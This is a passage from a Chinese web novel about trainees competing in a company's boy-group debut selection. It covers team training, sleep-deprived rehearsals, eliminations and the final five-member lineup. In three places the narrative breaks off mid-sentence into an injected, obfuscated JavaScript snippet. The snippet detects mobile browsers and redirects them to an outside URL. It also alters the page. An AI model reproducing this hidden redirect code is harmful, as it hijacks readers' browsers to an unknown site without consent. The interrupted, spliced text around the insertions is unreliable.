“嘿嘿。”江翰飞有点不好意思的挠挠头笑了。以前也很多人说看他长得顺眼，来这儿之后见了太多帅哥，他都有点审美疲劳了，没觉得自己长得多帅。现在被于立果和时元夸了还怪开心的。 “哇——，飞哥，你笑起来更好看了！”时元惊喜，“你还有个酒窝啊？” 于立果跟在两人身后也笑起来。 二月份本就比其他月份少几天，又放了春假，对练习生们来说，像是放假回来没两天就月度考核了。 月末考核第二天，三月的第一天。 公司公布了十二名练习生进行合宿训练：叔浩浩，任昊，陈嘉乐，路景山，葛高云，葛文山，吴星雨，齐彦，禹安，许博明，朱正谊，江翰飞。 10个S级和2个A级。 19.第 19 章 名单一出，不少练习生选择直接解约离开了公司。走的人里大部分是各个等级里年纪比较大，等不起下一个男团的人。还有一小部分有的是被其他公司挖走了，或者是在这儿苦熬坚持不下去了。 合宿训练只是开始。 从合宿训练到确认成员，中间人员一定还会再经历变动。 冲着这个想法，大部分练习生都持着观望的态度，一边练习着，一边焦灼着。 而被通知要合宿训练的十二人已经带着自己的行礼搬进了合宿宿舍。 合宿的宿舍在11楼，早在年前就准备好了。里面是三房带两厅两卫，刚好每个套间住4个人。这群S级和A级的练习生又像重回B级和C级似的住回了上下铺，每个人的床位也早就分配好了，按着床杆上贴的标签对号入座就行。 大家心里犯着嘀咕，按照这个人数来看，新男团多则11人，少的话就不知道留几个了，至少得有5个人吧？ 能这么说，当然是因为现在的男女团为了舞台效果更好看，绝大多数推出的都是奇数人数的团。奇数在排队形的时候更方便，舞台整体感官效果更好，既能突出中心位，也就是常说的C位，也能在视觉上变幻各种队形却不会出现有成员被挡死的情况出现。 其次就是组合配置常说的主唱+主舞+主Rap+门面就已经4个人了，再加一个也得是个五人组了。 当然了，也有比较小的概率组一个偶数团和市面上绝大部分的团体区分开来。 除了住在一起，他们的训练课程也完全脱离了其他练习生，12个人有单独的训练计划，也单独建了一个12人的群，里面除了他们还有练习生部门的部长和工作人员。 今天早上就是他们合宿练习的第一天，早上的第一节课没有标注任何课程，只通知了上课的地点是练习大楼的7楼3号练习室。 戴着黑框眼镜的唐君君见练习室里的人来齐了，拍拍手让大家先站成了两排。 “今天是你们的第一天，先跟大家把话说清楚。”她肃着脸，面无表情的对着下面的练习生们说道，“在合宿期间的任何人，事，调整都不可以外传。如果在外面听到了任何相关的消息，那么相关责任人不管你是什么等级，是不是已经被确定下来都会被立刻清退并向你们索取相关保密条约的赔偿。” “丑话说完了，我跟大家也做个自我介绍。”说着刚刚严肃的表情化开，露出一个笑来，“我是唐君君，练习生部门S级练管以及你们合宿训练的主要负责人。其中大部分人跟我已经是老熟人了，了解我的脾气。在这儿再给大家提个醒，你再厉害，没有出道之前归我管，出道了也归公司管，所以不要在这个时候去挑战公司的制度。” “希望大家这段时间好好努力，调整好心态，争取出道名额。” “今天第一天的任务是自行组队分为AB两组，学习Hitting的《Pride》，后天早上9点，我和其他老师会来验收成果。” 唐君君说完，头也不回的走了，留下12个练习生在原地面面相觑。 见气氛有点尴尬，吴星雨站出来转了个身，挠着头对着大家说道，“呃，昨天大家做了自我介绍应该都知道名字吧。 “任务来的挺突然的，后天早上就得验收，我想我们先分好队吧？” 在场众人都不是傻子，纷纷主动附和道，“是的，我们先开始分队吧。” “12个人咱们直接平分呗。” “也不一定，Hitting是个7人组，如果要最快的练好歌的话，相同的人数就免了再改动分part和编舞。” “一个5人组一个7人组怎么样？” 说着说着，有几个人已经自动组好了队伍，他们都升到S级已经好一段时间了，对彼此定位和实力都有数，直接奔着组7人去了。 江翰飞和吴星雨，齐彦也不自觉的站到了一起。 还零散站着的就剩下了葛文山，禹安和朱正谊。 6人组完还差一个人，数了数自己组里的定位，对着被剩下的朱正谊问道：“你是声乐定位吗？” 朱正谊一愣，赶紧点点头。他和这些人都不熟，本来去哪组都无所谓，但7人组显然人数和配置更贴合原组合，是更好的选择。 于是剩下的葛文山和禹安跟三人组的几人对视了一下，自动加入了5人组。 至此，7人组的配置是3个声乐：叔浩浩，任昊，朱正谊；2个舞蹈：陈嘉乐，葛高云；2个Rap：路景山，许博明。 定位配置和Hitting组合一模一样。 而5人组的配置是1个声乐：江翰飞，2个舞蹈：吴星雨，齐彦，2个Rap：葛文山，禹安。 两边分好队之后各自找了角落坐下来商量后面的歌曲分part。 5人组这边刚坐下来，吴星雨就主动说道，“大家都认识了，我们就不浪费时间做自我介绍了。” “先问问大家这首歌之前有练习过吗？” 一圈人，吴星雨和齐彦扒过全曲的舞蹈。葛文山和禹安只听过歌，但表示Rap不难，给他们一些碎片时间就可以练好；而江翰飞之前从来没听过这首歌。 “这样的话我们可以把练习重点放在声乐和舞蹈上。”听完大家的情况，吴星雨直接说道，“现在比较大的问题是我们是5人组，对比原来的配置少了两个声乐。” 说到这儿，吴星雨转过头看向江翰飞，“阿飞，你一个人能顶吗？” 江翰飞刚刚才拿到工作人员给他的歌词单，匆匆浏览了一遍，稍微松了口气。 这首歌的难度一般，虽然在副歌部分有一个很高的高音，但是正好在他的音域内；而且原本组合的声乐分段分得比较开，Rap占比多，应该问题不大。 “纯唱的话没有问题，但加上舞蹈之后我不太确定。”2天的时间又要学歌又要学舞，对他来说是个非常大的挑战，所以不敢把话说得太满。 “没事的，那声乐的部分都交给你了，我和齐彦按对应原组合舞担唱中间的主歌部分，Rap两段葛文山和禹安你俩要怎么分？“ 这下几人的视线又都集中在了葛文山和禹安两人身上。江翰飞听说禹安是唱Rap的非常意外，没想到外表精致可爱的禹安居然是唱Rap的，和另一名又高瘦带点颓废感觉的Rap成员葛文山简直是两个极端。 葛文山不说话的时候整个人冷着脸，嘴角自然向下，看起来一副很凶的样子。他掀掀眼皮，先看向了坐在一边的禹安。 禹安从一开始就抱着腿笑着看他们聊，瞥见葛文山射过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666773|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冷冷眼光倒是一点都不害怕，笑眯眯地说道：“这两段差不多，我拿副Rap这段吧。” 葛文山看了他一会儿，收回视线，对着众人点点头。 见禹安主动退了一步拿了副rap的时候，吴星雨心里就放下了，没什么争议就分好了Part。 分完Part，吴星雨先带着大家扒前几个八拍的舞蹈动作，这部分涉及到的队形变化不多。齐彦在旁边琢磨因为人数不够需要修改的编舞部分。 前几个八拍教完，齐彦和吴星雨就凑在一起改编舞，其他几个人就开始自己练习舞蹈或者自己负责的唱段。 到了晚上，他们才勉强把舞蹈过完一遍，几人或躺或坐在地板上恢复体力。 “时间实在太紧了，要保证最后的质量，这两天咱们得压缩一下睡眠时间。”吴星雨后仰撑着地板算了算时间，还是觉得紧张。 “我没问题。”江翰飞第一个回应，从门口拿了几瓶运动饮料过来，一一递给他们。 他基础相对其他人就要弱一些，本来就打算这两天少睡觉多练习。 其他人也都点头同意。于是大家定下来，今天晚上练习到三点，熟记舞蹈动作和队形变换；明天早上八点半练习室集合。 这算上来回宿舍和洗漱的时间，每个人的睡眠时间不会超过5个小时。 但没人提出异议，他们之前冲评级的时候也不是没有过过这种生活，直接拿了洗漱用品住在练习室的日子都是有过的，没道理这种时候了嫌累。 休息了没一会儿，又都爬起来开始练习了。 除了两个练习室的灯还亮着，17楼的会议室也还亮着灯。 会议室内多了一块大屏幕，两块大屏幕上分别实时投影着两个练习室的情况。 下面坐着的是A级和S级的练管，和负责这次选拔的几个老师。 “两组的整体进度差不多，7人组不用改编舞和分Part，还是稍微快一点。5人组这样练进度也还行，就看练习时间能不能拉够了。” “7人组分Part的时候没说好，任昊和路景山根本没认真练习，投入度太差了，还不如平时上课。” “正常，他们都是主攻声乐的，任昊也是主攻声乐的S级，肯定不服气叔浩浩拿了最好的Part。” “叔浩浩还是挺不错的。对自己声带的掌控度很高，典型的大主唱了。” “任昊音准天赋也可以，但本身的嗓音条件还是差了点。” “那个路景山一个升了S级这么久的人了，争Part没争过才升级不久的许博明，估计也是还没调整好心态。” “他们还不懂，心态和能力一样重要。” “葛文山的Rap确实厉害。平时说话少，唱Rap的爆发力确实强；这个反差点运营得好的话，市场应该会喜欢。” “5人组吴星雨和齐彦重新编排的舞蹈什么亮点啊，出来的舞台效果还是比原版差了不少。” “江翰飞这边一个人唱三个人的part，唱跳结合加新编舞，估计有点吃力。” “朱正谊也不错，他的嗓子条件更适合唱主歌。” 在一阵杂乱的讨声中，唐君君坐在前面，分心听着后面老师们和其他练管的讨论，一面在笔记本上写写画画着。 20.第 20 章 验收当天早上五点的练习室。 江翰飞几人躺在练习室地板上没了力气。 他们从昨天早上八点多到现在没有再回过宿舍，中间也没再睡过觉。 在座的都是狠人，一个动作的整齐度没有达标就一直练，于是直接干到了现在。 稍微缓过气，大家又爬起来凑在一起看录制出的舞蹈效果。 “可以了，两天的时间还是太赶了，咱们能把整齐度练到这种程度已经不错了。” 吴星雨拿着帕子擦了把脸，吐出口气，总算是没白练。 大家也觉得差不多够了，松了神，又歪七竖八的躺回地板上放松。 “我们回去洗个澡收拾下吧，现在还有点时间能抓紧再睡会儿，养养精神。”吴星雨看着大家汉湿的衣服说到，“九点验收，八点到练习室再过两遍，现在还有三个小时我们可以整理一下自己。” “走吧走吧，虽然我不打算睡觉，但是必须得洗个澡了。”禹安侧过头闻闻自己肩膀，十分嫌弃，“都要被汗水味儿腌透了。” 大家零零散散的从地上爬起来，慢慢往回走。练习的时候太投入还感觉不到，现在神经稍微放松了一点，肌肉酸痛的滋味就源源不断传送到脑神经了。 另一间练习室还亮着灯，大家默契的没有跑过去看，以免瓜田李下，说不清楚。 九点，一群拿着纸和笔的人鱼贯而入，除了先前的负责人唐君君和培训老师们，还有几个不认识的人坐在安排好的位置上。 练习生们早在练习室里等着了，两个团队站的很开，泾渭分明。 见人来齐，唐君君示意开始，A组7人组先站了上去。 江翰飞和其他人站在一边看着他们的表演，视线紧紧地盯着他们，眼神随着走位不停变动着。 负责声乐的主唱很厉害，高音唱的比他稳定；舞蹈的整齐度和他们的情况差不多，里面大概好几个人大概都不擅长跳舞，能看得出来跳的动作比较勉强；Rap唱第一段的还挺好的，第二段的有几句忘词改成freestyle了，没有他们这组唱得好。 当然，他对比的是练习的情况，具体的还得看待会儿发挥成什么样。 他又下意识拍了拍自己的心脏处。这种开始紧张的感觉真是久违了。 从第二次月末考核后，他就没再感受到紧张的情绪了，哪怕在刘老师和江老师的声乐课上，也只是专注认真，不像开始那样紧张。 歌曲不长，三分半的时间过得很快。 A组结束之后评委老师们都悄悄交换着意见，不时在纸上写着什么。 唐君君见老师们讨论的差不多了，示意换B组表演。 B组的表演开始时，A组的人也跟刚刚的他们一样，紧紧地盯着在中间表演的人，尤其是和自己对位的那个人，更是重点关注。 摆好开场姿势，音乐声响起，先滑出来的是江翰飞的吟唱。他负责了三个声乐的Part，包含了开口定调和中间的副歌。 “呜呼呼——”轻轻的吟唱声回荡在练习室内，A组负责声乐的叔浩浩，任昊，朱正谊呆了呆，随即眉头蹙起。 这音色，有点作弊了吧？ 作为对位的part演唱人员，只能寄希望于这人只是音色好而已。 轻盈的声音随着节奏的潮汐波浪轻轻荡漾着，像是雨水滴落进湖面泛起的涟漪，挟着一丝雨的朦胧，包裹着人的思绪慢慢松弛。 评委里从没见过的几人慢慢坐直了身体。培训老师们面上不显，眼神却是惊讶，他们是有看着练习监控的，只是监控的声音失真，根本没有现在的效果。 随着贝斯和鼓点的加入，吟唱结束，转为更加有力的节奏，仿佛刚刚的蒙蒙烟雨变成了噼里啪啦的暴雨，正在向这泊平静又美丽的湖彰显着自己的实力。 雨下的越发瓢泼，还夹杂的时不时的雷声。舞蹈的少年们在越发急促的鼓点里干脆利落的变换队形，Rap更像是子弹般连续射击，带着十足的破坏力冲向敌人。 激烈的斗争中，一段整齐有力的刀群舞来势汹汹，引起脚下隐隐的共振。这时，又有一段顺滑的高音仿佛进攻的号角，裹挟着这股气势一往无前。 另一方终于被这股气势击退，溃不成军。 于是少年们又唱起了胜利的欢歌，带着凯旋的愉悦：坚定的进攻就是我们的骄傲呀！ 三分半结束，站在旁边的7人组面色都不太好看。 不用那边坐着的老师们多说，他们站在一边看完就明白自己组大概率是输了。 负责声乐部分的几人更是从江翰飞开口开始，就一直皱紧了眉头看着江翰飞，如临大敌。 大意了，这么强的威胁居然来自于一个A级练习生。 况且这个A级练习生长得还······ 老师们还在讨论，前面站的这些练习生神色各异。唐君君直接拿起了话筒：“今天早上放你们半天假，现在解散吧。下午两点，所有人练习室集合。” 说完就低下头不管练习生们了，只在纸上写着什么。 还以为会有严格点评的练习生们听到让回去休息都面面相觑，本来已经做好了会面对狂风暴雨的心理准备，结果只是打了雷没下雨。 在场的练习生们昨晚都熬了一整晚，上午的假期不约而同的选择了回宿舍补觉。 午饭时江翰飞再见到时元和于立果，突然生出一种好久不见的感觉。 出于规定，江翰飞没法跟时元和于立果说他们的训练内容，但两人见江翰飞的眼底微青，想也知道合宿练习不容易，赶紧往他碗里使劲儿堆菜劝他多吃点。 “飞啊，可别跟上次一样，因为练习，把自己整个人都瘦脱相了。”于立果用一种慈祥的语气搞怪到。 “就是就是！”时元附和。 江翰飞有点无奈地看着碗里堆高的饭菜，微微舒口气，难得开玩笑：“知道了，于妈妈。” “哈哈哈哈哈哈哈！”时元在旁边顿时笑得筷子都拿不稳了，“飞哥，你怎么现在也变得这么搞笑了！” “诶，儿子大了，翅膀也硬了，也会伤妈妈的心了。”于立果伤心地别过头去，配合演出，只是话没说完也受不了自己这调调，没忍住笑破功了。 几人笑了好一会儿，才平复下心情，细嚼慢咽着碗里的饭菜。 吃完饭他们分成两路。江翰飞要去楼上的专属练习室，于立果和时元两人打算直接去下午上课用的练习室，休息一会儿可以提前练习。 他俩在上次的评级里都拿到了自己的第一个A级，这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678629|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月也打算一鼓作气再拿一个A级先升到A级去。不能老让兄弟一个人在前面跑啊，他们也得跟上。 下午两点，又出乎大家意料的是，也没有针对上午验收成果的任何评价，直接公布了第二个要学习的任务。 这次公司直接给他们分好了队，两组各6人。 要求是两天半，学会另一大热组合KTR的单曲《墙》 江翰飞看了下同组的人，就齐彦和禹安比较熟，剩下的人里他只单方面认识朱正谊。 简单的介绍后就是熟悉的分配环节，这次他没能拿到副歌，只拿到了桥的部分。这首歌的舞蹈也不简单，晚上他和舞蹈基础比较差的朱正谊以及许博明只能加练才能赶上其他几个人的进度。 好在没影响最终出来的团队整体效果，顺利验收了。 在后面的一周多时间里，他们一直持续着这种：布置学习任务--分组练习--验收--休息半天--继续布置任务的循环。大多数时候任务的时间都只给2-3天，从分组大家慢慢地咂摸出了公司的意图。 每次分组多的就是6人一组，少的就3人一组。除了第一次是他们自由组合以外，后面的每次分组都是公司直接分好，只是公司从来不规定分组里的定位，交给他们自己分Part。到现在为止，几乎所有人都跟其他人同组过了。 今天是合宿训练的第14天。至今两周的时间，他们已经学了5首不同风格，不同组合的曲子，早上的验收结束后一如既往的给他们排了半天假，只让下午按时过来集合。 下午集合之后却没有再给他们安排新的任务，反而由他们的课程老师带着他们做集体练习。 大家心里猜测着公司的安排，身体老实的跟着老师训练，练习的途中突然有几个人被喊走了就没再回来。 剩下的练习生心里就开始打鼓，互相在练习的间隙交换着眼神。又一遍又一遍的数着在场剩下的人，眼神在他们自己认为出道可能性较高的几人身上打转。 只要他们不被叫出去，那么大概率就不是确定人选。 难道是因为表现不好被骂了？还是被安排了额外的练习？ 大多数练习生心里有个更可怕的猜想，但是又不敢去想，生怕想了之后下一个被叫到名字的就是自己。 惶惶不安的心情和疑虑压在所有练习生心里，一直持续到晚上的课程结束。 他们回宿舍时候发现被叫出去的那几个人的行李已经不在了，只剩下一张空床板。 这下大家都明白了。 应验了许多人心里不敢去猜的那个想法：被叫出去的就是从这场出道淘汰赛里被淘汰了。 当天夜晚的宿舍安静许多，之前因为只验收不给点评而躁动的心又老实下来。 第二天一早，在练习室集合的人还是12个，又有几个A级练习生加入了这场淘汰赛。 后面的节奏变得更快，有的练习生刚搬进来三四天，有的呆了一周，只过了一两个学习任务就被公司叫走了。淘换的人可能互相还没熟悉长相就被淘汰出去。 快速的淘换节奏和紧张又压抑的氛围让所有练习生不敢懈怠，每天像是被无形鞭子抽打的陀螺一样不敢停下，也不敢放慢自己的速度，慢了要么被打，要么直接失去速度倒地淘汰。 21.第 21 章 整个三月的合宿训练都在这样紧张的氛围中过去了。 甚至因为练习节奏过于紧迫，江翰飞突然听到时元和于立果讨论起第二天的月末考核时才恍然，三月已经到底了。 按照公司的计划，男团选拔也完成了大半。 “君君姐，这是策划部那边给过来的概念和人选。”一个男生递给唐君君一份文件。 “嗯，放那儿吧。”唐君君头也不抬，低头看着自己的笔记本还在思忖着什么。 策划部那边给过来的策划案她早看过了。看完后她就明白，公司推出的前一个男团Cilier不火是有理由的。 内容几乎毫无亮点和后续的可挖掘性。延伸性太弱，世界观太小，人设老掉牙，这样的男团策划市场是不可能买单的。 现在两家头部的娱乐公司在上面死死压着，以每年至少推出一个团体的速度冲击市场，花样和概念玩儿得五花八门，卷的下面的大大小小娱乐公司想要突破他们的防线抢占市场，必须要够新。 不客气的说，就现在策划部递交过来的资料拿出去竞争，简直是可笑的程度。 唐君君心里百转千回，终于还是下了决心。 ······ 进入了合宿训练的练习生是不用再参加月末考核的。他们正在练习室加紧排练马上要验收的曲目，Fantasy Boys的《Breaking Box》。 下午两点，这次来的人除了熟悉的练管和培训老师，公司的好几位中高层也到场了。坐在练习生前面的人比平时多了一倍不止。 这样的声势让他们马上猜想到一件事，这是不是要确定人选了？ 一想到这儿，有的人呼吸都粗重几分。 练习这么久，不就为了这个时候能展现的最好么？ 他们猜想的没有错，今天的确是唐君君提前跟他们几个中高层约好了时间来看看人选的。这些中高层他们对眼前的练习生并不很陌生，练习生的表现唐君君每次都会整理好发送给他们。选人的时间也不仅仅是这一个月，从去年12月公司就已经在进行观察和筛选，只是练习生们不知道而已。 验收结束的很快，练习生们老样子被放了半天的假期，公司的管理们则又聚集到了17楼的会议室。 “根据策划部那边给过来的策划，以及练习生的情况，我推荐的人选是这五个。” 最先说话的是唐君君，作为这次出道选拔的主要负责人以及前S级练管，她对练习生的熟悉度是最高的。 “你的意思是选中的概念中心是他了？”负责出道艺人部的刘部长指着其中一个人问道，出道后的男团是由他们来管理的，这次出道人选的最终决策权在他和他顶头上司艺人部门的部长经理于部长身上。 “是的。”唐君君推推眼镜，打开自己的PPT投屏到会议室屏幕上，开始解说起自己的想法。 练习生们对高层的事情一无所知，只是从这次验收之后，每次验收来的人越来越多，大家心知肚明应该是到最关键的时候了。谁都不敢也不想放松，为了更好的验收效果，他们的睡眠时间被一压再压。 江翰飞坐在一边听着大家讨论表演的细节，头重的快撑不起来，脑子里像是被塞了一团棉花和荆棘的混合物，搅得他又晕又痛。这几天每天的睡眠时间只有三四个小时，身体在反抗了。心里暗自祈祷着可千万别是生病了，这个节骨眼生病，功亏一篑都不够形容。 然而天不遂人愿。 到了晚上江翰飞发现自己晕的更厉害了，一摸额头，烫的。 吴星雨见他脸色特别红，还凑过来打趣他是不是现在体能不行了，跳了没多久脸就这么红了。 江翰飞笑笑没接话，实在是头晕，想着先去医务室看看，量个温度。有必要的话再拿点药，今天晚上休息睡一觉应该就能好了。 现在医务室应该还没关门，江翰飞撑着起来本想跟组里的人说声去买个东西，还没等他说话，起身时候脚一软，一头撞在了前面的葛文山身上。葛文山转过身来扶着他胳膊，看江翰飞脸色似乎不太对，脸和嘴唇红过头了，眼睛也半眯着。 晕晕乎乎跟葛文山道了个歉，江翰飞感受到有人的手贴上了自己额头。 “怎么这么烫？”吴星雨几人也发现江翰飞状态不对，围了过来。 “应该是高烧吧？” “发烧也不吱声，走走走，赶紧带他去医务室量体温拿药去。” 江翰飞已经烧的意识模糊了，只觉得自己全身上下都又闷又热，鼻子耳朵里都呼着热气，四肢绵软无力使不上劲儿，好像有人把自己背起来了，迷迷糊糊趴在人身上就睡了过去。 等再醒来，一睁眼就已经回到了宿舍。 盯着木板回神了好一会儿，才确认自己现在是在娱乐公司里，而不是在大学宿舍。 摸摸额头，贴着一块儿退烧贴。撑起身见床边放着一个小凳子，上面放着保温壶和杯子，还有一小袋子药。有人留了一张便利贴：温度计在袋子里，保温壶里有水，多喝水！ 打开那袋子药，掏出温度计测了□□温，38.2℃，已经转低烧了。 看看时间凌晨四点。这个点儿了，宿舍里还是空的。 江翰飞掀开被子，又吃了一次退烧药，灌上一壶水，抱着一壶热水往练习室去了。 练习室的人见他过来也都不意外。练习的间隙吴星雨几人围过来摸摸他的额头已经没那么烫了，又关心了几句就开始继续练习。 江翰飞瞅准时机跟葛文山道了个谢，当时应该是他带他去医务室拿的药。葛文山淡淡点个头，算是接受。 这段时间和葛文山熟悉之后，发现他只是话少，实际上应该还挺大气的，很多小事都不会计较，是个如果非必要，不愿意和人起争执的性格。所以江翰飞见葛文山点点头也没再说什么，心里记着啥时候给葛文山买盒无糖薄荷糖。葛文山超爱的口味。 不知道是不是天气反复变化和高压的双重原因，最近和江翰飞一样生病的练习生一连好几个，不少直接贴着退烧贴来练习，让公司都不得不出来说让大家注意身体和休息，不要有太多的心理负担。 这话说了跟没说一样。 吴星雨私下是这么评价的，江翰飞也赞同点头。 没想到公司刚说完就出事了。 朱正谊因伤退出了这次选拔。 江翰飞听见这个消息的时候人都呆了一下。之前的练习生大多都是感冒发烧，但朱正谊是因为二度半月板损伤和髌骨软化需要先做手术再做康复训练，肯定赶不上这次男团选拔了。 知道消息的练习生不少为朱正谊感到惋惜，江翰飞是其中之一。他见过朱正谊除夕夜的练习室灯光，也记得前段时间一起晚上加练累到爬不起来的疲惫，如果只是努力了最终没有成果也许不会太难过，但他是努力了却也倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在场的人没有打断她。作为负责人，她责无旁贷，必须给出补救方案，“A级里的声乐定位能出的也在合宿训练里过了一遍；有一个偏中低音的可以勉强补位。但他的稳定性和心理素质太差，训练期间一起组队的时候没有一个人和他相合，被淘汰之前几乎所有和他组队的人跟他的关系都不太好，这样的人放进团队是个隐形炸弹。” 刘部长赞同点头。 “如果说还有没有筛选过的人就是最近才升上A级的几个人了。其中有一个叫于立果的是声乐定位，也在关注范围内。他音域中低音和朱正谊的音域一致；音色偏低沉沙哑，颗粒感明显。进公司一年多，前大半年都在C级，近期升级态势很猛，半年内连续升级，在三月的月末考核里刚刚升到A级，能力方面没有问题；性格外向，本身善于交际。”唐君君边说边调出于立果的相关资料和考核视频。 “而且他和这两位的关系都不错。”唐君君点点组合里预定的其中两人，又补充了一句。 “把他调进合宿训练里。”看完于立果的唱歌视频和相关评价，谢部长下了结论，两周的时间，组五种不同风格的歌曲，拿来和被淘汰的A级练习生对比取其一。 当天下午，于立果作为补位人员搬进了合宿训练宿舍。 两周后，江翰飞，吴星雨，葛文山，禹安，于立果确认为出道组搬出了练习生宿舍。 22.第 22 章 “恭喜阿飞哥和于哥成功确认为出道组！”时元和江翰飞，于立果三人坐在秘密基地小凉亭里。时元拿出一个海绵蛋糕，上面意思意思的插了两根美味棒当做蜡烛，美其名曰给他俩庆祝确认为出道组。 江翰飞心里泛起酸麻，一时间不知道说什么好，顺着时元催促的眼神把美味棒取下来咔嚓咔嚓三两口吃完了。 “啊？阿飞哥你干嘛？蜡烛没了怎么许愿啊？”时元不满的叫嚷。 于立果拍拍时元后脑勺，取下另一根也咔嚓咔嚓三两口吃完了，“还没出道呢，庆祝个啥。” 时元知道这是两个哥哥在照顾自己情绪，当即嘿嘿一笑，又抽出一根美味棒插上去，“这一根是我的，公司通知要我参加半年后的选秀比赛，让我早点做准备呢！” “选秀比赛？青川台的？”江翰飞惊讶地望过去，去年9月青川台主办的一场男团选秀比赛，101位练习生选出9个人成团。因为是第一届选秀比赛，赛制新颖又声势浩大，吸引了大半娱乐圈的目光，直到今年2月结束。C位出道的那位据说直接飞升了，从一个底层的糊团爱豆翻身成了现在各大品牌争抢的代言人。 “嗯嗯，就是谢以欢出道的那个节目。”时元兴奋地说道，“半年以后才开始录制，节目组提前给公司发了通告，公司有7个名额。” “阿飞哥你还记得那个靠脸成为A级练习生的人吗？他也跟我一起去。” 江翰飞当然记得，当时他和时元作为C级练习生对那个人羡慕得不行。现在他已经确认为出道组了，时元也和那个人走到了一样的起点。 “小元儿，争取出道，到时候我们给你拉票！”于立果很开心一直照看的弟弟也站到了新的起点，当即又从美味棒的盒子里抽出三根美味棒都插在蛋糕上，“这是庆祝咱仨的，加油出道，然后出圈！” 时元和江翰飞捧场的鼓起掌，一起假装吹了蜡烛，开心的分食蛋糕。 两个哥确认了出道，弟弟也有了新方向。人高兴的时候，就得吃点糖和碳水才行！ 长胖，那也是明天的事儿！ 三人在凉亭放松下来，聊了好一会儿。主要是江翰飞和于立果一直在嘱咐时元，之后他俩就得和他们的队友一起练习，不能照看时元了，有点放心不下这个活泼单纯的弟弟。 公司照例给他们放了半天的假，出道组的几人搬进了新的专用宿舍，一个两人间，一个三人间。抽签决定了床位，收拾完东西后就睡了。 第二天一大早几人一起吃完早餐去了17楼的会议室集合。他们的名字都在这间会议室里被提过多次，但这还是他们第一次本人踏入这间会议室。 会议室里已经零散的坐了几个人，见他们进来都跟他们点头打过招呼，而后就低头在电脑键盘上噼里啪啦忙自己的。几人被这浓厚的上班氛围震慑住，老实的找了连着的几个位置坐下。 陆陆续续的人都到齐了。 江翰飞一眼看去，除了他们合宿期验收时就见过的一些人，还有一部分是完全陌生的面孔。 唐君君站在会议室最前面，下面坐着二十几个人，开弓没有回头箭，唐君君暗自深吸一口气，“各位早上好，先给大家做个自我介绍。” “唐君君，公司现在这个出道策划中男团的主要负责人。以后在座各位相关这个男团的所有事情，都可以找我。” 她说话不疾不徐，声音也很稳，给人强力的信服感。 江翰飞他们听着，面上都一副镇定的神色，心里都被问号和感叹号刷屏。从眼睛里还能看到没来得及遮掩的惊讶，疑惑和慌乱。 啧，这演技课没白上。 唐君君视线扫过他们，心里倒是挺满意的，不枉费她花了这么多功夫，“下面我们的男团成员先来跟大家自我介绍一下吧。” 说完朝着成员们一抬下巴。 吴星雨顺利接收到信号，站起来开始自我介绍：“我叫吴星雨，即将22岁，练习两年半，目前的定位是主舞。希望大家以后多关照。” “葛文山，22岁，练习三年，定位是主Rap。谢谢。” “大家好，我叫于立果，今年22岁，练习一年多了，目前的团队定位是领唱。以后就多多麻烦各位了。” “大家好，我叫江翰飞，今年19岁，练习八个月，目前的团队定位是主唱，希望大家以后多关照。” “大家好啊，我是禹安，20岁了，练习两年，定位是副Rap，大家以后多多关照噢。” 唐君君点点头，“团队名称还没定下来，策划还在商讨，你们有什么好的建议可以在看完策划样片之后提出来，发我微信就可以。” “另外补充说明，团队队长定的是吴星雨，你以后要管着他们练习。你们也需要习惯，小事儿先找队长解决，队长搞不定了再来找我。禹安除了副rap还有门面定位。” “有异议吗？” 几人乖巧摇头。 “这些没什么不好讲的，这是你们的见面介绍会，该说什么就说什么。”唐君君小小的训了几人一句。各自的定位都是昨天把他们聚一起说过的。 “好的君君姐。”禹安还是笑眯眯的说道，完全没有被训的情绪。 唐君君瞥他一眼，转头又说道，“大家现在都认识他们了吧？不认识的也尽快熟悉，明天开始要先去拍新的公式照。为了工作更好沟通，你们也自我介绍互相认识一下吧。” 话落，在场的其他人一一介绍起来。这就是负责他们的团队，一个执行经纪人，两个助理，两个发型师，一个造型师，还有一个护理管理的固定团队。其他的是各个部门以后会负责他们的团相关事务的人，来自公司的影视部，营销部，制作部等。 “出道专的策划会在这两天定下来，到时候会跟你们同步。在此之前，做好你们该做的。这个团，能把你们选进来，也能把你们再踢出去。” “散会吧。” 一场会开完，他们几个人的脑子里塞满了陌生人的脸，名字和职务内容。 晚上没安排其他的练习任务，让他们早点回宿舍做个护理，方便明天拍照上妆。几人洗完澡换过睡衣见时间还早，就凑在客厅沙发上一起聊天。 “真没想到君君姐居然成了我们的负责人。”禹安穿着卡通睡衣，盘腿坐在沙发上，领口处露出奶白色的皮肤，“确实没想到啊。不过也是好事儿吧，她能力很强，也很了解我们。” “但她在男团制作上是新人。”葛文山换了身睡袍，腰部系得很紧，勒出细细的腰，加上他192的大个子和宽肩，标准的倒三角。 于立果穿着素色的纯棉睡衣靠在沙发上，手垫在后脑勺上，显出几分懒散，“小道消息，上个男团Cilier当时就想让君君 